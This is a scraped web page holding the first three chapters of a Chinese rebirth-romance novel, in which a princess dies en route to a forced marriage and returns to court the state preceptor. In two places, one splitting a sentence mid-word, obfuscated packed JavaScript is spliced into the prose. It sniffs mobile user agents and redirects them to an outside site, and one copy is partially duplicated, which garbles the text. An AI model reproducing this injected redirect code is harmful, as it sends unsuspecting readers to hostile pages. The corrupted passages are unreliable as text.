《国师对我觊觎已久(重生)》 1. 第 1 章 门外风雪呼啸,豆大的雪粒顺着风拍在窗棂上,发出簌簌的声响,连聒噪的寒鸦也悄无声息地隐匿,沉默地缩在窝巢里。 年节将近,本来是各家各户忙着准备节礼,张罗装饰的日子,公主府却冷清无比,屋檐下一溜儿的四角宫灯随风飘起,就连破损了边角也没人在意,更无人更换,下人们个个屏气吞声,连大气都不敢出。 容钰的胸口像压着一块巨石,闷闷的让她呼吸不过来,喉咙干涩,吞咽都变得十分困难,似有针在扎。 她靠在织金面的牡丹引枕上,忍着不适,困倦地低垂着眼眸,外面突然发出一声响,有人兀自掀了帘子走进来,浓郁的梨花香顿时扑鼻,她忍不住又咳了两声,看向了来人。 “真是难得见你这么狼狈的样子。” 永宁的视线在容钰脸上滑过,微弱地皱了皱眉,心里又涌出几分嫉妒,她想不明白都落到了这样的境地,容钰竟然没有她想象中的那样落魄丑陋。 以为今日不会见客,容钰并没有着妆,如泼墨一样的长发柔顺光滑,只是松松挽了个发髻,插了一只点翠白玉簪。 这样素淡的装扮完全没有影响她的娇美,容钰披了件绯色的撒花厚长袄,因为长时间的忧虑,眼下有几分青黑,人也清减了不少,反而又为她增添了轻柔,任谁看她都要心神一动,怜爱她几分。 “昭华姐姐,”永宁咬牙,不大舒服地伸手扶了扶簪子,上面的珍珠晃动,她脸上带着笑,语气却是十足的恶意,“你不会以为,父皇真的最宠爱你吧?” 容钰从永宁进来起,就抿紧了唇,厌烦地看着自己这位妹妹。 永宁公主是贵妃所出,也许是嫉妒她,对她总是喜欢刺上几句,偏偏在外人面前又装的一副温柔守礼的样子,容钰也懒得给她面子,每次回堵几句后就置之不理。 她向来看永宁不大顺眼,但不至于和对方起大冲突,来往也甚少。 不用多想,光听对方的语气和言辞,也知道永宁是来落井下石的。这些天的会客已经让容钰累极,不想和她多周旋,于是容钰偏了偏头,想喊外面的人进来送客,不愿多看永宁一眼。 似乎知道她想做什么,永宁顿了顿,又笑了一声:“外面的人都已经被我打发走了,你是叫不来人的。” 她用近乎天真的语气,说着极为讽刺的话:“我们姐妹来说说体己话,父皇也让我来劝劝你,别再做无所谓的挣扎了,老老实实地嫁去漠北和亲不好吗?再也别来碍我的眼,碍父皇的眼不好吗?” 言辞刺耳,在她的心口上开了一个呼啦啦的洞,往里面灌着冷风,容钰闭了闭眼睛,不想管她,嘶哑着声音:“来人……咳咳……” 外面无声。 奴仆们将头垂得更低,装聋作瞎。 永宁随意在椅子上坐下,低头看了看自己染着蔻丹的指甲,嘴角勾起一抹嘲讽又满意的笑:“都说了,昭华姐姐,你是叫不来下人的,如今我说的话,可比你的话有用多了。” “你不会以为,父皇最宠爱的人是你吧?”永宁又重复了一遍一开始的话,她知道怎样才能让容钰心痛,心碎,专挑着容钰的软肋扎。 她笑起来,发簪上的珍珠串颤动,得意极了:“是我啊。他最宠的女儿,是我啊。” “这串珍珠,颗颗饱满圆润,是极为珍贵的淡粉色,还是你最喜欢的颜色。这本来是沿海进贡来的,可父皇见到它的第一时间,就将它赐给了我,而你进宫之后,却只得了一匣白珍珠罢了。” 容钰深深吸气,克制住质问的冲动,她明白,事到如今,再去问为什么,只是显得自己更加可怜,更加让永宁得意罢了。 永宁又摸了摸发簪,她对上容钰颤抖的眼眸:“你根本不知道这些珍珠存在,对吧?那是因为父皇根本就不在意你啊,要不是……算了。” “如果他真的宠爱你,怎么会送你去漠北那样吃人的地方和亲?”永宁笑着摇头,红唇一张一合,“你恐怕还不知道吧,他们漠北的习俗,可是几兄弟共享一个妻子呢。” 容钰的心重重一跳,她茫然地张了张唇,原本覆在小腹的手无力地往下垂落,指尖泛白。 永宁观察着容钰骤然变化的神色,心里舒服了不少,嘴边的笑意更深。 作践容钰,想象的容钰以后凄苦的样子,让永宁的虚荣心和报复心得到了极大的满足,于是她的语言更加恶毒,毫不掩饰。 永宁:“你不是要嫁给耶律大王子吗?他的那几个兄弟可都不是什么善茬,他们都是你的夫君,都有资格入你的寝帐,欺辱你,让你为他们生孩子呀。” 永宁笑得前仰后合,撕开了往日温柔的面具,皮下俱是令人胆颤的丑恶和狰狞:“哈哈哈哈哈,容钰,你恐怕从未想过你会有这么一天吧?在几个男人的身下哭求承欢,怎么样,你受得了吗?” 喉咙泛起腥甜,容钰的眼前一片花白,她死死抓着被面,指甲几乎拧断,艰难地喊道:“滚……” 永宁看着容钰马上要晕厥过去的样子,也觉得自己做的差不多了,要是真把容钰现在就气死了,她可就欣赏不到容钰以后凄惨的样子了。 于是永宁心满意足地起身,最后看了容钰一眼,带着和往常一样温和的笑容,施施然离开了房门。 美又如何,身份尊贵又如何,还不是被父皇厌弃,被送去和亲,迎接艰难苦恨的下半辈子? 永宁走后,容钰脱力地倒了回去,胸膛不住上下起伏,她偏头咳的撕心裂肺,控制不住地又呕出了一口血,在素色的帕子上显得格外扎眼,刺得她心口又凉又痛。 她原是这整个大夏国最受宠的,最尊贵的公主,是先皇后唯一的孩子,舅舅是赫赫有名的镇国公大将军,外祖父虽然已经隐退,但曾经也是门生满天下的左相。 比身份,整个大夏再也找不出一名女子能够越过她去;比容貌,她还未及笄,就已经艳冠京城,名满天下,就连外邦的使者也曾听说过她的美貌。 她的吃穿用度是除了父皇之外最好的,最精致的,她事事顺心,享受着父皇独一份的宠爱,各种珍贵珠宝由她挑选,进贡的礼品永远都有她一份。 她骄傲地以为,自己未来的驸马必定是文武双全,英俊清雅的高门子弟,会和父皇一样视她为掌上明珠,对她千娇万宠,心里和身边都只得她一人。 而所有的一切,都在一月之前,翻天覆地。 那日和今日一样,是个雪天,她穿着今年新进贡的狐裘,料子柔软轻薄,衬得她身形娇弱,风一吹,像被风雪卷起来的芬芳花瓣。 她脚步雀跃,以为这次父皇召自己入宫,应该是又有了新鲜玩意儿,想要让她选一份,于是迫不及待地进了御书房,一边吃着点心,一边等父皇和其他几位大臣议事完毕。 再然后,她就听到了让自己去漠北和亲的圣旨。 “昭华是朕最疼爱的女儿,和漠北和谈,漠北也拿出了十足的诚意,那大夏这边,就让昭华嫁过去,结两国之好吧。” 父皇的声音冷漠无比,看向她的目光如同看着一个能随意弃置,不值几何的物件,而不是一个活生生的人,更不是他最宠爱的女儿。 容钰跌倒在地,发簪坠碎,失去了往日的威仪,怔怔地盯着那个最宠她的人,满眼不可置信。 往日由她随意走动的御书房变成了吃人的怪物,坐在高位上的父皇也变成了全然陌生的样子,让她惊慌不已。 几位议事的大臣都默认了这个结果,他们怜悯地看着容钰,是容钰自从出生以来从未承受过的眼神,如同一把利刃贯穿了她的胸膛。 像被人猛地扼住了喉咙,全身都在颤抖,原本的咳疾复发,她咳得上气不接下气,眼角都溢出了泪水,染红了她的脸颊。 可她的眼泪没有打动任何人,原本慈爱的父皇脸上闪过一丝厌烦,冷声让人将她带回公主府,不得外出。 那一刻,容钰如坠冰窖。 她说不出话,她想不明白,为什么一切都变成了这样,父皇不是最疼爱她吗?为什么要和亲?父皇还有好几个女儿,再不济还能从宗室里挑一个提提身份送去,为什么偏偏是她? 可她没有任何反抗的能力,以往父皇赐给她保护她性命的侍卫,此时成了软禁她的利器,她被困在公主府里,不论如何哭闹都无济于事。 她不能出府,却不断有人来劝她,说父皇让她去和亲是天大的恩荣,等她嫁给的大王子一继位,她就是整个漠北的王后,比现在的身份还要尊贵,是好事啊。 “是好事啊。” 他们道貌岸然地说,维护大夏的稳定是她身为公主的责任,只要她嫁去漠北,大夏和漠北就能维持百年的和平,边界的百姓就再也不用忍受战乱之苦。 容钰只觉得他们都是来看热闹的,是来看自己跌落泥泞的样子,看最骄傲的她被折断翅膀,被软禁在府中,他们的每一句话都是对她的幸灾乐祸,是对她的羞辱罢了。 但她不愿意让其他人看自己的笑话,强撑着坐起来会客,画上艳丽的妆容,穿着华服,维持着往日的骄矜,淡笑着饮茶,对于其他人的言辞不置可否,让人看不出她真实的想法。 可背地里,她的眼泪已经流干了,她的心也已经痛到麻木,几乎就要认命了。 她依旧怀着那么一丝期待,希望父皇能够收回成命,能来看看她,再不济也要同她说说到底为什么送她去漠北和亲?为什么要做这么突然的决定?为什么要软禁她? 而永宁今日的到来,就是在明明白白地告诉她,羞辱她,父皇已经放弃了她,她被送去和亲的命运不可能转圜,她的尊严早就被这些人践踏到了泥里去,未来的她还要共同侍奉好几个丈夫。 从那日起,容钰便开始发热。 她昏昏沉沉,有时候会被人扶起来喝药,喂药的人动作并不轻柔,也不甚耐烦,喂的急了,药汁便从她唇边溢出,滴在了她身上手上,呛住了她的喉咙,苦的她想泪流。 最终,她被宫人扶着送上了马车,和漠北使者,还有耶律小王子一起,踏上了去往漠北的漫漫道路。 也是在被送去和亲的那一天,容钰才知道,她的舅舅守边不利,死在了守城之战中,大军被迫后退,割让出了城池,手下的兵马权也都被父皇收了回来。 这本就是大罪,镇国公府上下惶惶,而她的外祖父,因为忧思过度,加上风寒重病不治,一并去了。 现在整个镇国公府都在为祖父还有舅舅守丧,担忧着未来的命运,也无人来送她。 漠北的车队已经日夜兼程,前行了五日有余,眼看就要离开大夏的边境,进入漠北的地界。 马车的颠簸让容钰的五脏六腑都跟着绞痛,意识昏昏沉沉间,她察觉到有人将温热的茶水递到嘴边。 可她已经连张唇的力气都没有了。 桂嬷嬷竭力克制住颤抖的手,不让茶水泼出来沾湿容钰的衣襟,也控制住自己的哭声,悄悄用帕子沾掉了眼角的泪。 不说药,公主竟是连水都喝不下了! 桂嬷嬷心口抽痛,看着她一手带大的昭华公主,那巴掌大的小脸被兔毛围脖圈着,琼肤樱唇,眉如远黛,原本娇艳欲滴的脸瘦了一圈,脸色比雪还要苍白,朦朦胧胧覆盖着一层死气,就连原本红润的唇都开始发紫,发白。 桂嬷嬷无声地落泪喃喃,怎么就,皇上怎么就能忍心让昭华公主去漠北和亲呢? 这样金尊玉贵,千宠万养,骄傲明艳的昭华公主,怎么能够受这样的屈辱? 再说昭华公主本来就体弱,从小身子不好,这些天的奔波又让她复发起了高烧,每日愈加严重,直至今日,公主殿下再也撑不住了。 耳边是桂嬷嬷低低的啜泣,突然间,容钰觉得自己沉重的身躯一轻,原本混沌的思绪跟着清明起来,身上也有了几分力气。 她抖了抖长长的睫毛,如同脆弱的,振翅欲飞但无力张开翅膀的蝴蝶,缓缓睁开漂亮的眼睛,声音因为长时间滴水未进而沙哑:“嬷嬷。” 昭华公主殿下突 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15090470|163623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然醒来,能够说话是好事,桂嬷嬷心里先是一喜,立刻喊了一声“公主殿下”,然而一颗心又急急往下坠。 公主殿下这是回光返照之象,已经再无力回天了。 容钰心里也明白,自己没有多少时间了。 回光返照之时,总是世人交代遗言之时,可容钰如今举目无亲,身处异乡,她无话可说,只是极轻地笑了声,笑自己直转急下的命运。 如果有来生…… 手炉已经凉了,容钰随手丢开,偏头咳了一声,瞬间感觉到喉咙一痛,呕出一口血来。 桂嬷嬷立刻上来为她擦去污血,声音抖得如同秋风落叶:“公主殿下,公主殿下!” 没能得到容钰的回应,感受到容钰原本就不高的体温正在急速下降,桂嬷嬷慌了神,猛地掀开了马车帘子,对着外面的护卫大喊:“快来人,快来人啊!!” 负责护送容钰的耶律小王子骑着马走在前面,他听到呼喊声,皱了皱眉,掉头往回骑了几步,来到了马车边,不耐烦地问道:“又怎么了?” 昭华公主人是美没错,但也太麻烦了,身娇体弱,吃不得一点苦,不是生病就是吵着要这要那,又嫌药苦,又嫌马车里的炭火不够暖,又嫌他们送的吃食太粗糙,还说睡着的锦缎不够软和,气得他牙痒痒。 如果不是昭华公主太美,他想着等回到漠北,等大哥享受过这个美人之后,自己就可以一亲芳泽,也享受一番,他早就把这人杀了! 和亲只是一个借口,他们根本没打算遵守约定。 等他回了漠北,就和他的哥哥们一起起兵攻打大夏,现在大夏内里空虚,根本不堪一击,等他们的铁蹄踏过大夏的国土,这片肥沃的土地就会全被收入他们的囊中。 想到未来的美好景象,耶律小王子的眉头松了松,多了几分耐心,心想这位昭华公主又想干什么? 然而等他向马车里看过去,看到靠在软榻上,面如金纸的容钰时,他立刻就明白了这个老嬷嬷为什么会哭的上气不接下气。 昭华公主不行了! 他心里一惊,顾不得其他,猛地伸手朝着昭华探去,手下却一片冰凉,面前的人已然没有了鼻息。 —————— 这一路浑浑噩噩。 容钰不知道自己走在哪里,也不知道自己究竟是死了,还是在做梦,她只觉得眼前的景象如走马灯一般,一花又一花,还有不同的人在她的耳边说着话。 但他们的声音模糊,像是呓语,其中还夹杂着尖叫,咒骂,哭泣和大笑的声音,根本听不清。 她怕,于是摸索着前行,终于,她的眼前一亮,像迷雾被微弱的光拨开,看到了面前的金銮殿,还有跪拜着的朝臣们。 容钰就站在这些朝臣之间,她清楚地认识到自己已经死了,现在是一缕孤魂,因为她的身体近乎透明,那端着一叠厚厚奏折的小太监,就从她的身体穿过,脚步匆匆地往皇位边走。 容钰呆呆的,还没缓过来,视线不由得随着那蓝衣小太监,一点点往上抬,看向那坐在皇位上的人。 然而目之所及,并不是她熟悉的模样。 她的父皇体型微胖,身量在男子当中不算高,蓄着一把美髯,玄色的外袍裹着明黄的内衫,看上去总是一副笑眯眯的模样。 而如今,皇位上的人依旧穿着玄色的外袍,只露出了一点明黄的内衫,但更多是白色的衣领,腰带勾勒出他挺拔劲瘦的身形,宽肩窄腰,因着个子高,像是一只孤傲的鹤。 男人很年轻,面冠如玉,剑眉斜飞入鬓,眉色浓黑,高挺的鼻梁下是线条优美的薄唇,整个人清俊温润,眼角眉梢却又带着淡淡的冷意。 ……许怀鹤。 容钰的脑袋里蓦地浮现出了这个人的名字。 这个人就是大夏的国师,精通五行八卦,星斗之术,还擅长炼丹,据说他的丹药可以让人延年益寿,百病消除,是父皇最信任的宠臣,甚至比当今的宰相权利还大,也更得圣心。 容钰惊得往后退了一步,骇然地注视着皇位上的人,听着下面的众臣跪拜许怀鹤,齐声口呼陛下。 她微微颤抖起来。 她的思绪一片混乱,恍然又从之前那些混沌零碎的片段当中想起,那些战战兢兢的宫人们低声交谈,言语中叙说,就是这位国师大人手刃了父皇,取而代之登上了皇位,而这些大臣的态度居然恭敬无比,无一人反对许怀鹤登上皇位! 为什么? 忽然间,低头看奏折的许怀鹤抬头,眼神凌厉,冥冥中和站在殿中央的容钰隔空对视了一眼。 那一瞬,容钰头痛欲裂,眼前一黑,重重向后倒去。 “许怀鹤!” 容钰终于能够发出声音,她猛地坐了起来,怔怔看着眼前淡粉色的床帐,上面刺绣繁茂,针针精美,是她最喜欢的山茶花。 房间里熏着暖香,楠木地板上放着紫铜香炉和双面绣屏风,是她及笄时父皇送来的礼单中她偏爱的一样,在卧房里摆了大半年才让人撤下,换上了新的。 她已经许久未见这件屏风了,她到底身处何方?又身处何时? 听到公主嘶哑的叫声,外面守着的人连忙走了进来,桂嬷嬷走在最前面,手里端着药盏,偏头看了两个侍女一眼。 两个侍女立刻心领神会地低下头,表示她们刚才什么都没有听见,默默准备伺候容钰起身喝药,一句话都不敢多说。 公主突然喊出了当今国师的名讳,桂嬷嬷虽然疑惑,但也并未多问,先关心地开口:“公主殿下好些了么?身子还沉吗?” 容钰攥着云团锦绣金线的被褥,手指因为用力而根根泛白,一时间分不清自己到底是不是依旧在梦中。 对上嬷嬷关切的眼神,容钰然有一种想落泪的冲动,但又不愿让桂嬷嬷看出异常,她需要时间好好思索一下当下的情况。 于是她忍住哽咽,低低说了声没事,接过药碗一饮而尽,带着苦味躺回了床上,让其他人都退下。 2. 第 2 章 * 清香冉冉,一缕白烟直上,悄无声息地消弥在金香玉暖,奢华至极的房间里。 容钰心不在焉地捧着手炉,抚摸着套在手炉上的精密绣纹,朝着铜镜中的自己淡淡瞥去一眼。 墨发如瀑,散发着淡淡的花香,由手艺极好的桂嬷嬷梳成单边髻,松松缀着点翠流苏翡翠簪,更衬得她面如芙蓉,肤如凝脂,唇不点而朱,眼角眉梢俱是高贵和艳丽。 桂嬷嬷笑着夸道:“这簪子价值百金,外面的夫人小姐为了这样一支簪子都扯破了头,殊不知它配咱们公主殿下,不过也是锦上添花罢了。” 桂嬷嬷在宫中生活多年,见过的美人不知有多少,美的各有千秋,但无一比的上公主殿下,光是这份气度就艳压群芳。 向来没有人配珠宝的说法,从来都是用这些珍稀的美玉珍珠,来映衬公主殿下的美貌罢了。 “瞧这满满一匣子,都是皇上赏赐给您的呢,可见皇上有多疼您。”桂嬷嬷悄悄叹了口气,“皇后娘娘在天有灵,看到您过的这样好,怕是也放心了。” 换做以往,容钰必然笑着答应,唇畔不自觉扬起笑容,比花更娇,比蜜更甜。然而今日容钰却一言未发,只是看着镜中的自己,一时竟有些恍惚。 这张脸比上辈子的她被软禁公主府时,在和亲路上病得神志不清时好了太多,哪怕是翻来覆去睡不着,思虑一整晚,也掩盖不了她的光华,眼下连半点青黑都无。 她终于能够确定,自己回到了康盛八年,就在她及笄不久的那个寒冬,同时也是大雪纷飞,她死在和亲路上的两年前。 两年前啊。 两年前的她目下无尘,自觉是这天下最尊贵的女人,享受着一等一的荣宠,享受着别人艳羡的目光和吹捧讨好,享受着容貌和地位带给她的一切,殊不知即将大祸临头。 两年前,边境战事未起,舅舅没有远走守边,更没有发生那场让舅舅身死的战争,舅舅依旧在京中护卫父皇的安全,殿前军都由他号令,风光无边。 祖父身体硬朗,和蔼可亲,门下学生众多,他时不时还会去书院授课,被千万读书人敬仰,想要投入他门下。 父皇也没有变成后来那样冷漠无情,对她不闻不问,依旧极其宠爱她,给她全天下最好的…… 思及此处,容钰闭了闭眼睛,长睫微动,隐去了眼底滟潋的水光。 她不愿怀疑父皇对她的宠爱,也不愿怀疑那些年快乐的时光,但上辈子父皇的做法,还有永宁说的话,依旧如同一根深刺扎在她的心中,拔不掉,挖不出。 还有父皇对镇国公府的态度,也不免让人觉得齿寒心凉,她舅舅这些年来战功赫赫,劳苦功高,却落得如此的下场,还有祖父,怎么会一夕之间就病的那么严重? 哪怕是看在仙逝的母妃面上,父皇也不该如此做派! 至于许怀鹤……也还是那位入宫不久,刚刚因为一枚“养气丹”而受到父皇青睐,名声鹤起的国师。 如果容钰没有记错的话,此时许怀鹤还远不及后日大权在握,一人之下,万人之上,就连见到父皇都不用跪拜,被赋予了“真仙”的称号,人人都要敬他三分。 “国师”这时还是个虚职,并没有掌握实权的能力,也不参加政事,只为了辅助父皇问道长生。 想起许怀鹤坐在皇位上的样子,还有自己的打算,容钰的指尖抖了抖,重新睁开眼,再一次看向了镜中的自己,有些难为情地咬了咬唇。 桂嬷嬷一直观察着容钰脸上的表情,总觉得近日的公主殿下有些奇怪,或许是这次病的狠了,公主殿下神色恹恹的,时常出神。 这会儿公主殿下的脸颊突然染了胭脂色,贝齿轻咬着红唇,像是气极了,桂嬷嬷的神色也跟着变了变,愤愤道:“公主殿下,您千万别为了那些不值得的东西气自个儿,您生病的消息已经让人递话到宫中去了,等皇上知晓了,必定要重罚她们的。” 罚谁? 桂嬷嬷突然说这话,容钰一时半会儿没反应过来,今生不久前才发生的事情,对于她来说却恍若隔世。 她细眉轻蹙,直到侍女素手轻柔地为她敷上最后一层玉容膏时,容钰才想起来上辈子的她这次是为什么病倒的。 细说起来,这件事还和许怀鹤有关! 父皇服用许怀鹤献上的养气丹后,一连几天神采奕奕,神清气爽,上朝的时候百官都有目共睹,许怀鹤也因此名声大噪,有不少人都想向他讨要一枚,哪怕用重金也舍得。 许怀鹤以养气丹材料难得,研制麻烦推拒,只送了几枚出去,其中就包括镇国公府,而剩余的全都献给了父皇。 接着,许怀鹤又制出了名为“玉容膏”的养肤脂膏,说是涂抹之后能够让女子肤色白皙通透,光滑细腻,长期使用还能美白,头一份就送到了她这里来。 许怀鹤作为朝中的新贵,上辈子的容钰理所当然地把许怀鹤的所作所为当成了讨好,觉得许怀鹤是想借自己的手,大肆宣扬这玉容膏的作用,增添点好名声。 她试了这玉容膏,确实也不错,她向来大方,索性就让人发了帖子,邀请了高门夫人和贵女们参加小寒宴,届时送出去几份,再帮许怀鹤说一说这玉容膏的效果,就算回了礼。 也就是这次小寒宴,出了件不大不小,但让她十分恶心的事。 宴会设在西阁的暖厅,宽敞明亮,四角都有大暖炉,整个暖厅里暖香扑鼻,哪怕穿着单衣也不嫌冷。 夫人小姐们陆续落座,和永宁同行的还有刘侍郎的夫人,刚进暖厅,容钰就察觉到刘夫人的神色惴惴,看着她一副欲言又止的样子。 说了些场面话之后,年轻姑娘们都去旁边投壶玩耍,剩下的夫人们笑着看活泼的少女们争彩头,有一搭没一搭地聊着家常。 容钰找到机会,叫了刘夫人过来,去了屏风后面的小间,开门见山地问她:“说吧,你想和本宫说什么?” 容钰刚刚掀开茶盏,准备饮一口今年新掐的碧螺春,面前的刘夫人就突然扑通一声朝着她跪了下去,吓得她手一抖,险些将滚烫的茶水溅出来。 “求求公主怜悯怜悯我儿吧!”刘夫人潸然泪下,她大着胆子抬头看容钰,又往前爬了两步,想去抓容钰的裙摆,“臣妇的儿子爱公主之深,京城无人不知,他情根深种,非公主殿下您不娶,如今他在府中的绝食,已经饿了三日,谁也劝不得他,求求公主殿下救我儿一命啊!” 容钰只觉得荒谬。 她的脑袋嗡嗡作响,忍不住伸出玉指扶住了额头,细眉蹙起,往后退了退,避开刘夫人的手。 她要怎么救刘世郎的儿子?难道她真的要下嫁给对方,让对方成为自己的驸马吗?这是断然不可能的! 容钰还没想好要怎么开口,永宁突然从屏风后走了出来,她惊讶地看着跪在地上准备磕头的刘夫人,用袖子掩了掩口鼻,眼睛一转:“这是在做什么?姐姐,莫非是刘夫人有冒犯你的地方?” “纵使有冒犯,刘夫人毕竟也是朝廷命官的夫人,昭华姐姐怎么能够让她给你下跪磕头呢。”永宁声音轻柔,伸手扶起跪在地上的刘夫人,“姐姐若是想罚刘夫人,我便替她担了,就算是谢过刘夫人邀我同乘马车。” 永宁笑笑,解释道:“不巧我的马车在来的路上断了辙,是刘夫人邀我同乘,才没误了时候,免得迟了小寒宴。昭华姐姐,刘夫人到底犯了何错?” 容钰如鲠在喉,她闭了闭眼睛,不想把事情闹大,她现在只想赶紧把刘夫人打发走,连同永宁一起:“无事。” 她咬牙:“只是一点小误会,说开了便罢了,刘夫人还请回宴席上吧。永宁,你的规矩呢,谁允许你不通传就进来的?” 永宁委屈地福了福身:“昭华姐姐,投壶的头名已经出来了,我是想来告诉姐姐一声。永宁只是太高兴了,一时忘了……” 容钰深深吸了一口气,打断了她:“我知道了,出去吧。” 容钰最看不惯的就是永宁这副扭扭捏捏,好像全天下的人都委屈了她,错怪了她的样子,和她的贵妃生母如出一辙,光是看着就觉得胸口堵着什么。 容钰给头名的赏赐,就是许怀鹤送来的玉容膏,她按照原先的设想,说了这玉容膏的妙处,也说了许怀鹤的名字,果然有不少夫人小姐们都一副意动的表情,羡慕地看着得了玉容膏,那满脸红光的姑娘。 小寒宴结束了,容钰心里一口气却不上不下。走之前她给刘夫人递了眼色,看对方的样子应该也是明白了今天的事情不能出去乱说,想必对方也不会冒着得罪她的下场宣扬什么。 但若那刘公子真的为她绝食死了,指不定外面要传她什么坏话,之前就有传言说她容貌太盛,恐有祸国之相,她派人去抓胡乱嚼嘴的人,也没抓到主谋,只是流言少了一些。 而且,就凭永宁和她不对付的关系,今天刘夫人给她下跪的事情,必然会通过永宁传出去,她嚣张跋扈的名头肯定逃不掉了。 思虑过度,郁结于心,再加上后来容钰又受了冷风,寒气入体,便开始发热生病。 现在想起这事,容钰皱了皱眉,同桂嬷嬷说:“先前小寒宴上,守在屏风小间的那两个侍女是谁?永宁进来怎么都不拦着,这样没规矩,也是宫里面教出来的?” 桂嬷嬷也生气,她站在旁边福了福:“回公主殿下的话,那两个侍女已经调去外面做杂活了。” 桂嬷嬷比容钰看的更清楚,永宁公主分明是有意的,说不定就连刘夫人对着昭华公主下跪哀求这个法子也是永宁撺掇出来的。 本来桂嬷嬷当时也守在小间前,但永宁公主借口要找披风,非说小丫头们粗手粗脚,怕弄坏了上面镶着的珠子,一定要她过去拿,这才给了永宁公主机会。 那两个侍女估计是不敢拦,但也确实没规矩,分不清谁是她们真正的主子了!
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15090471|163623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 容钰淡淡“嗯”了一声,她上辈子已经经历过一遍这些事,自然也就知道,这件事最后的结局,不过就是永宁被罚着抄了几天的佛经,刘夫人那边给了安抚,派人强行把那绝食的刘公子从房间里拖了出来,喂了米汤。 那刘公子饿的眼冒金星,见了米汤就狼吞虎咽,绝食也不了了之,又被大家劝慰了一番,决定去考个好功名,让容钰高看他一眼,让自己多几分成为驸马的机会。 至于自己,父皇当然也给了赏赐安慰她。 算算日子,似乎就是今天了。 薄薄敷在面上的玉容膏散发着浅香,容钰嗅着,总觉得这玉容膏里有一味药材必定是她最喜欢的山茶,心情又好了些。 她上辈子和许怀鹤的交集不多,若是许怀鹤弄出了什么女子能用的药丸脂膏,总会让小道童也给她送来一份,除此之外,就是春猎等大事,父皇召集百官同乐的时候,她能见到许怀鹤站在父皇身侧,旁的什么就再没有了。 如果上辈子如黄粱一梦,那梦里的碎片就在真真切切地告诉她,如果她不做些什么,就难以改变自己被送去和亲的命运。 她昨晚梳理那些一闪而过的画面时,似乎看到了许怀鹤在登基之后,赦免了镇国公府的罪责,还妥善安置了舅舅的后事,让舅舅的嫡子重新掌握了舅舅以前的军权,出兵抵御漠北。 已经是前朝妃子和前朝公主的陈贵妃还有女儿永宁,也没有像史书上那样落得不堪的下场,只是被夺去了封号和身份,像庶民一样活着。 但从那些画面中,容钰也能够看得出来,骤然从高位跌落,她们的日子半点也不好过,还有不少人想趁机欺辱她们,她从未见过那样蓬头垢面的永宁,还有泼妇一样发疯的陈贵妃。 她们向周围的人诉说她们以前有多么尊贵,周围的人只是像看疯子一样看着,又听她们转而辱骂当今圣上,直呼许怀鹤的名讳,更加觉得这两人不可理喻,用扫把打走了她们。 容钰想不明白,许怀鹤为什么能够登基称帝却无人反对,那些大臣不是最重礼仪大统吗?但许怀鹤出兵漠北和安抚镇国公府的做法,无疑让容钰的心里好受了一些,也安稳了一些。 许怀鹤竟是比自己的父皇更仁善! 这一世,她既不想被送去和亲病死在路上,不想同时委身几个男人,也不想像永宁那样成为前朝公主,变成庶人,再过不上锦衣玉食的生活,还要遭受其他人的嘲讽和欺负。 她想过直接告诉父皇许怀鹤日后必反,但她空口无凭,是否会适得其反?如果没有了许怀鹤以后登基称帝,那她依旧会被送去和亲,整个镇国公府被牵连流放,舅舅和外祖不得善终? 思来想去,似乎只有一个法子—— 容钰天真地想,如果她成为了许怀鹤的夫人,或者许怀鹤成为了她的驸马,如果许怀鹤能够痴迷于自己,对自己矢志不渝,视如珍宝,就像户部刘侍郎的儿子一样,一直想成为她的驸马,不管刘侍郎怎么反对都坚定不移,她是不是就能避免那些命运? 她依旧能够拥有尊贵的身份,过不比现在差的锦绣生活,任何人都不能看低了她去,欺负了她去。 这样一来,舅舅也就不用去死守边关,战死沙场,祖父也不会一病不起,溘然长逝,整个镇国公府依旧好好的。 许怀鹤那样的清冷君子,应该会是个仁慈的好皇帝,如果自己去求情,朝代更替,说不定还能留父皇一命,但贵妃和永宁她坚决不会帮她们说好话,就该让她们变成庶民! 一想到自己要去讨好一个男人,就如同那低贱的妓子一样,容钰就有一种难以启齿的羞耻感,她的骄傲和自尊不允许她这么做,可是一想到以后的命运那样凄惨,自己死前那样痛苦,她又陷入犹豫中。 许怀鹤样貌英俊,是谦谦君子,哪怕身居高位,在百官之中口碑也极好,百姓更是觉得他乃谪仙人。 她嫁于这样的男人,也不算辱没了自己,放眼京城,许怀鹤除了出身低微一些,不论比样貌,还是比才华,比官职地位,都比那些男人优越。 容钰这样想着,逐渐说服了自己,心底也不再那样抵触和反感,然而她又想到,不过许怀鹤是修道之人,清心寡欲,上辈子从未见他有过妻妾,一直是孤身一人,自己真的能够……诱得许怀鹤对自己动心吗? 容钰浅浅吸了一口气,不管怎样,她必须得试一试。 等容钰上完妆,外面就来了人,将皇上送的赏赐抬过来,满满三个大楠木箱,里面都是一些金玉珠宝,还有江南新贡的锦缎和丝绸,还有一匹掺金孔雀羽的布料。 容钰的指尖拂过孔雀羽织的表面,她看了一眼等着回去复命的小太监,突然轻笑,如同万千繁花绽放,让人眼前一晃:“谢父皇赏赐,昭华很是欢喜,但昭华还想要一物,不,一人。” “就说,昭华近日病中梦魇缠身,想请国师来府上念经,平心静气,早些好起来。” 3. 第 3 章 * 进了殿门,来传话的小太监将腰弯的更低,跟随着前面大太监的脚步,盯着纹路细致,刻画精美的地砖,一路躬身来到了皇帝面前。 他并不敢抬头,只是极其紧张地屏着气息,一五一十地将昭华公主的话转述了出来。 